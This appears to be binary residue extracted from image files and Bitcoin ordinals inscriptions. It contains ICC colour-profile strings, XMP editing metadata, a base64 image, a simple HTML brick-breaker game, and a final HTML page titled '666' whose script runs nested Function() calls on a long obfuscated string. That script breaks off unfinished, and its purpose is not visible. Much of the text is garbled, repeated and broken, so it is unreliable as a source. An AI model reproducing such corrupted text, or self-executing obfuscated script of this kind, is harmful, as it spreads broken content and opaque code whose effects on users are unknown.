,Reference Viewing Condition in IEC61966-2.1
((((((((((((((((((((((((((((((((((((((((((((((((((
kiTXtXML:com.adobe.xmp
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='aM
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
 <rdf:Description rdf:about=''
  xmlns:Attrib='http://ns.attribution.com/ads/1.0/'>
    <rdf:li rdf:parseType='Resource'>
     <Attrib:Created>2023-02-13</Attrib:Created>
     <Attrib:ExtId>22a3ded4-afe2-4dcb-8088-9ca58647905e</Attrib:ExtId>
     <Attrib:FbId>525265914179580</Attrib:FbId>
     <Attrib:TouchType>2</Attrib:TouchType>
ription rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
    <rdf:li xml:lang='x-default'>Astonauts - 7</rdf:li>
 <rdf:Description rdf:about=''
  xmlns:pdf='http://ns.adobe.com/pdf/1.3/'>
  <pdf:Author>ps20183089</pdf:Author>
 <rdf:Description rdf:about=''
  xmlns:xmp='http://ns.adobe.com/xap/1.0/'>
  <xmp:CreatorTool>Canva</xmp:CreatorTool>
text/plain;charset=utf-8
text/plain;charset=utf-8
Bitcoin ordinals NFT
 https://opensea.io
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class=M
"background"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","GM
","G"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:cM
olorMap[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddleM
.x=canvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speeM
d<=a.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.heighMO
t)}document.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
FjDOUT:DDCC19A5A8A136D5DAFB6704FAC58885D10AF38019E1074434AE47C38735F1F6
FjDOUT:EA8764AEEDAFB1D3AD5F65774967DEC3F68F50404C427A69FED7D3C0F81D3778
Adobe Photoshop Lightroom Classic 8.0 (Windows)
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGM
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21        ">
 <rdf:RDF xmlns:rdf="htM
tp://www.w3.org/1999/02/22-rdf-syntax-ns#">
  <rdf:Description rdf:about=""
    xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
    xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
    xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    xmlns:xmp="http://ns.adobe.com/xap/1.0/"
   xmpMM:DocumentID="xmp.did:23b2d164-34e5-e140-8d5f-9053ba1d5cd0"
   xmpMM:OriginalDocumentID="050E009C106365E2BA5DB073CAC0E382"
   xmpMM:InstanceID="xmp.iid:23b2d164-3M
4e5-e140-8d5f-9053ba1d5cd0"
   dc:format="image/jpeg"
   xmp:CreatorTool="Adobe Photoshop Lightroom Classic 8.0 (Windows)"
   xmp:ModifyDate="2023-02-11T14:35:11+07:00"
   xmp:MetadataDate="2023-02-11T14:35:11+07:00">
      stEvt:action="derived"
      stEvt:parameters="converted from image/png to image/jpeg, saved to new location"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:b2f87835-db16-fc40-9185-8f1e77a4c690"
      stEvt:when="2023-02-11M
      stEvt:softwareAgent="Adobe Photoshop Lightroom Classic 8.0 (Windows)"
      stEvt:changed="/"/>
      stEvt:action="converted"
      stEvt:parameters="from image/jpeg to image/png"/>
      stEvt:action="derived"
      stEvt:parameters="converted from image/png to image/jpeg, saved to new location"/>
      stEvt:action="saved"
      stEvt:instanceID="xmp.iid:23b2d164-34e5-e140-8d5f-9053ba1d5cd0"
      stEvt:when="2023-02-11T14:35:11+07:00"
twareAgent="Adobe Photoshop Lightroom Classic 8.0 (Windows)"
      stEvt:changed="/"/>
   <xmpMM:DerivedFrom
    stRef:instanceID="xmp.iid:b2f87835-db16-fc40-9185-8f1e77a4c690"
    stRef:documentID="xmp.did:b2f87835-db16-fc40-9185-8f1e77a4c690"
    stRef:originalDocumentID="050E009C106365E2BA5DB073CAC0E382"/>
  </rdf:Description>

                           M





                                          M





                                                         M





                                                                        M





                                                                                       M















                               M




Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:tiff="http://ns.adobe.comLr/tiff/1.0/">
         <tiff:Orientation>1</tiff:Orientation>
      </rdf:Description>
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
!_!_!_!_!_!_!_!_!_!L
r}Blblblblblblblblblblblblz
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
"-)#""#)8/////8A;;;;;;AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
#1?1&&1?A?;/;?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
((((((((((((((((((((((((((((((((((((((((((((((((((
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYM
text/html;charset=utf-8
<!doctype html><html><head><title>666</title><meta content="width=device-width,initial-scale=1,user-scalable=0" name=viewport></head><body id=hB><script>Function(Function("[M='uFXBn^FKoBfOIyRD
k~bUr`IECfmH|yy_XsNVhSQm{Jj^Jk}KjrogH]xUpY~JyzddBQi`GNTcCNEUjlRtHkeoWiwnFv]A~@
xxe^qepqT[fKndMtjniKszIRMVlPivWUlf~FgiIDfPScnG`Jm]V~_b{WLLLbqtkNo}Xq[hpQ{wgUJtJ`YSTpLWNDaReJXGtVQd{m}i~e
mqkmHHprkEYg~zzc]^gvwlgm~bSV|Rfdzf|v}TMCbo}KYjd[u|zFe~rfeb~VNqoTmHW}YNCrf?[GaEHg{DB[A{U]RlPEGDaSM
GSNvskS[qJDkfImi?tsgsfvs}jD@pAgTS[jI~UrzEH@HyYoOJcfBNN[KzmP[@azAyJscTHqO[@
UHiHoBjdM`vTWVVhMmceLSMdkovJ
IlXzjJaNj}cacRDKKWlc_ghoOJtyjirrfuBK?Y|bU^wAjVD]wbc}hTJrGPGLRPIGmq]^ReKHVtTDDuQ
xfrWKA}KJrLaprNOrY~WTumUw|rS`cLD@wMxpiDNteDYJl]fbX?dVORUZWbsroPG_oskNACiKZtqsqd_RqdLbX@SqVZQcHGJm^u?j^SeXabqG_f_^mqeaqgLPs?jumxOunPFKIUbgrkNBIK}CQJ
`Hn@eff`cukzIiPDSXymCAEqt`LqmJVayeaKHQxJ]mWAB^hzf_ug{TXyiUiWBXucQUGLsRDaxsgspEKjJIms@Gm{lL}u`V_fMnVDiNCKMFogd{OHX{WAK}`^S?|oAHsd`YjTboRZjh
{IIl|X`?TjFuXzlyfs|bW@BNyNT@ts~[kMb?X~RM
_WORUzosm`G?WAAcO?[xrfutd^VUPhsqbLqMR[|F@wk_^zA`he}`rCQplssDRfcz[kf?eAo^lm@Gm@ZWp?s|_L~FiCC^IX?XcFAKQ}zNhZx||iaNwBhxlPnL|
awUd?ovg|{Y~vfRTO@VwhkoRXBt^|aer@YrqyR~ow?g{AvB@Nz?vuiDufSbJsQ^[Uk[tKm`@UsiVJ^qGjxPGC|SCH
NavyXXY@w_Se@EtBKWeLQ[kAQ
unLmnTlpiRqnSVKEhugG
soZTjz_wtsZQgvZkDpb@_I`t`AhmOKI_]h|DH]jdJMpbkqw_f_XUeitdInM`sEeaLIyeaYbCkf}[rVFsN~h@mNm@goVnSGmpUOVw|k{vgivGNIq`}KEvssDuPcge~QQk~CPC~Z[Syj[p@oh}crdG^?Cg
mW~|NFkomxsfxDnpFzCSsDn]AU}vS{LMegNI
RvnF_pi~RUtUg|xr[ng@bQPsrcUIUtIM
InBo`WRcsVzFmPpa_K~vB@ogJ~b`bFvhqZHpbq`{IFwPJHczFwu]yEng@{?w[kmxh`UUmY|FkfYW_@CEImR[jnBRmutdyUsfsDnchB{eDJpoT@icvl~e~rJoCvlU|m~|xr^v
|J?OQkKoV~KpNV]ThMvtFQwFxogKBnLwip}Y^fWzKjNcjoeNf}KG}mfisCMyih[}oum`xcqu
?`da~z|bPL~eU@fu]lFNKZu_mpDcBhq
oQryiAWbkLaVmLZLmKJ}lx|_D
C{wzihOPu}L`KKT~CZzJPbC_xwTVTvp`gfdvG~WjIq?MrGk?XTdbGEVseynoTd
~HkqUwuTtFeovsB}xxml]KmpuRAJGBDr_]k~uRGvV@VFEm[cG_]TYBStkKec`IY`vVlHpoeIjMQTsQl@wtq[D
Ma{[kFGnM?Xwd[~@~LGZ[ty[@En]XSOagKOtN^N]M
^yYqBKhTKeNhHZw|jBXFc
DJ}_BaBym`piYimK_X}TvbcghWs|umNVUDA^hVv_CgWCAKYbeRwszA?pirgY?|e}J
Nn_vJsgo[PN}MWSYlFwMpv~WMz~DD
@UsVMe`drzS?dj`j~_JRHRMC}~MWN?cOP_VopreT{]TWHrb]IE|eNoFnBuQQqqBUtEP?tpyTXnQ_eO_nXeJbqkVm~V{|S^ih`RjKsQZAnUgl@TsaVFzOKpn}TbfY`EpRT^d}Rl`lPfR@NagyJCGT|V
gky[yUii]PN^S_WZEs~JYTJgzBhw^SN_{RACF][asHWpmJSjWhUb[CjE^XkcmFpGgq]pTMomQdFRewQvqwhYP[H@EVve|l}FBRB^G
oeqLdTO@l]TrDAoiZj`HxVqeB?YmMwytnskv|hztQq{luwwv~^w{TH_H}CT[Gg@SBeZKZt@`emYfQRtefB|FTzC~bhHrTzqGIRtsEM
z?UEYtjcKz`xRVsgNRIu}c[xAbKeRZ^gRcemh|pw_@Y?{U@[}UK}?WIUTsakwiL|U``aKJbiEUeMeeBzqQglxli?@r]uywIX{bM
wLwfyj?nmVH|T?`Bmm[fLVIuLQoBEsAdWqkpN@LSZu]Cwd
nz|TaXVY@nZ?}JR}YcnDd{wxXVYlmovhwzch]RK]]aQM{ujIm_tKIjb^zLLvvjyR}FDAI
Iy`lwyU_YKvbudt[bdziJAwR~vKAfAsYyVh}BSJEdvgHL?w?E|IDgHLKHUlHVIg~JZSUsqAjzlnGaafP@^kOB_iyYbDG@mum
uksHVQcQGB_dw^~wVIk[aiXoqfiKiLArhXvQOBAgAy]|W`RdfJCQhKPDgGeRqaVcDJc?qA^MlVd_xLfuiUMSu|XwPSYLzntVYcWe?bxqh_h@PFWR~nuz@@x[vGuyRwe{}RIKEAqQqONszTBNT?X}{qIawKvX]vdo?Va`HcRtflTBbMMGai^LGvlWKV_QM
FsUzPB_|^[FSkZcFazfdLUb`LrtzdKZVI_Qy?Fx?PmoGYuYHyieLMU]`rSqNR}DNd
PgeEWZcAd{Grmzp?Jr|_HD~E?SWFVmYPcu[civmT|j`glHeBOhD{CNoOhGimuVyemmIj
fTp~NhbqtZ`ptYJeuj[u}Zo?|
^PdmlpbTjYsJpxjxdmK|ihnQ|bxOUpcmTBCxlWB~XUI|^yzj
QrUVWJimAvZhh@x}{_NwIATTN__TCNdUuKYKJ{OqTThVS~qMPba`M
utMIrBdxteqJ@xFu|FxHXKK}
g[DlAIZP{GzumxJuua^UJjsf_bsn{BSulIXqcBHh~@MwxhlhvDCu@FqAuDJ`EMClpZG
bDIhr{F^|iyeyDq`@?QN}vEyZyWgeM`DjVvC@mtQXskjgC@lNBye?skp`mrGZV?HRBwsoGmPQVn`figmjgwQPQJd^bxVcUQt``[j{vFldKsZPjlaZRR]ntuYJMBM
Vno~r|ZVLOc}nDZEmJEYfniDEn[`O[gUkwKCPVN^orwdPmjW[d_cBptOCrs}IpwhTqWjoWvHQlByCj}FzWdFI{S~SYzKdUikn{NSjko@XQ^HlZ}bctBuyRA~sq~|
